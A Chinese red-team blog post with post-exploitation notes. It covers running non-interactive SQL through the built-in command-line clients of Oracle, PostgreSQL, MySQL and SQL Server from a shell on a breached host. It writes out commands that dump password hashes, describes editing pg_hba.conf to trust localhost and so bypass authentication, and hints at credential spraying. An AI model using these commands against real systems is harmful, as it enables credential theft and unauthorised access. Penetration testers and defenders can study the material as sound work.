各主流数据库非交互执行

各主流数据库非交互执行

 

原创 klion 

来源于公众号:红队攻防揭秘 

原文链接:https://mp.weixin.qq.com/s?__biz=MzI0OTkzOTc2Nw==&mid=2247484816&idx=1&sn=fbded7d5d3e37840bc5d24e895bf66de&chksm=e98897c8deff1edeaec0f3983c2091f52c4befc6323312a32e151fb16f5a1f7064bfe8ebdf6d&mpshare=1&scene=23&srcid=0821C0CLgRwBUfPdqHo6m4u9&sharer_sharetime=1598002147620&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

侵删

 

声明:

    文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无任何关联

 

    另外,这只是一个个人性质的公众号(非任何商业营销号),目的也仅为技术分享交流,并不想去招惹任何是非,故,除了此公众号,将不再考虑做其他的任何推广 ( 细心的你可能也发现了,至今为止,甚至连一则外部广告都不曾出现过 ),再次声明,严禁所有未经本人明确授权的恶意转载 及 非法营销牟利行为

 

实战场景说明:

    实战中,可能经常会遇到类似这样的问题,比如,内网机脱网,无法进行各种正反向代理转发(或者速度极慢,根本连不上),导致Navicat,SSMS,PLSQL...等各种三方数据库客户端根本无使用条件,再比如,无rdp操作条件,只有一个cmdshell / bash, 但最终目的也只是想在库中快速进行一些账号密码搜集或者脱取库表结构类的简单操作,等等诸如此类吧...

 

    此时,就需要了解关于各主流数据库在cmd/bash下的一些非交付sql执行方式,非常简单,没任何技术含量,只为笔记留存,方便其它弟兄们,注,如下的所有工具均为各自数据库内置工具,不依赖任何第三方外部工具( 即使数据库没装亦把对应的命令行客户端拆出来独立使用 ),很灵活

 

0x01 Oracle

安装用户权限下,无密码非交互执行

tv.sql 语句
select * from v$version;
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
SELECT name,spare4 FROM sys.user$;
exit;

默认在装好oracle以后,sqlplus会被自动写到当前用户的环境下,直接执行即可
# echo SELECT name,spare4 FROM sys.user$; | sqlplus "/ as sysdba"
# sqlplus "/ as sysdba" @c:\tv.sql > c:\Users\public\simlog.logs

  

 

0x02 Postgresql

    服务安装用户权限下,无密码非交互执行,修改目标服务配置文件(pg_hba.conf),对127.0.0.1进行trust,之后再想办法覆盖目标原有配置文件[Win下比较特殊,无需重启服务,即时生效]

tv.sql语句
select version();
SELECT usename FROM pg_user WHERE usesuper IS TRUE;
SELECT usename, passwd FROM pg_shadow;

PgSQL在装好之后,默认并没有把PSQL没写到当前用户环境变量下,故需要自行指定绝对路径执行
# echo SELECT usename, passwd FROM pg_shadow; | C:\SRV\PgSQL9.4.24\bin\psql  -h 127.0.0.1 -p 5432 -U postgres
# C:\SRV\PgSQL9.4.24\bin\psql  -h 127.0.0.1 -p 5432 -U postgres < c:\tv.sql

  

 

 

0x03 Mysql 带账密非交互执行

tv.sql 语句
select @@version;
select user,host,password from mysql.user;

一般情况下,在安装Mysql时都会顺手把环境变量选项勾上,故直接执行即可,如遇未添加环境变量,找到目标mysql安装目录下的bin目录指定绝对路径执行即可
# mysql -uroot -p"abc123" -D Mysql <c:\tv.sql
# mysql -uroot -p"abc123" -D Mysql -e "select user,host,password from mysql.user\G;select version()\G;";

  

 

 

0x04 SqlServer 带账密非交互执行

tv.sql 语句
select @@version;
SELECT name, password_hash FROM master.sys.sql_logins;

Mssql安装完后,默认都会把sqlcmd添加到当前用户环境变量下,故直接执行即可
# sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -i "C:\tv.sql"
# sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -Q " SELECT name, password_hash FROM master.sys.sql_logins;"

  

 

 

小结:

    

  非常简单,不再赘述,其实有些工具稍微灵活配合bat/sh,转身一变就是个服务喷射工具,非常适用于某些特殊场景下,还是那初衷,一篇文章只解决一个小问题,不想掺杂太多废话,祝好运

 

posted @ 2020-08-22 09:59  Xor0ne  阅读(210)  评论(0编辑  收藏  举报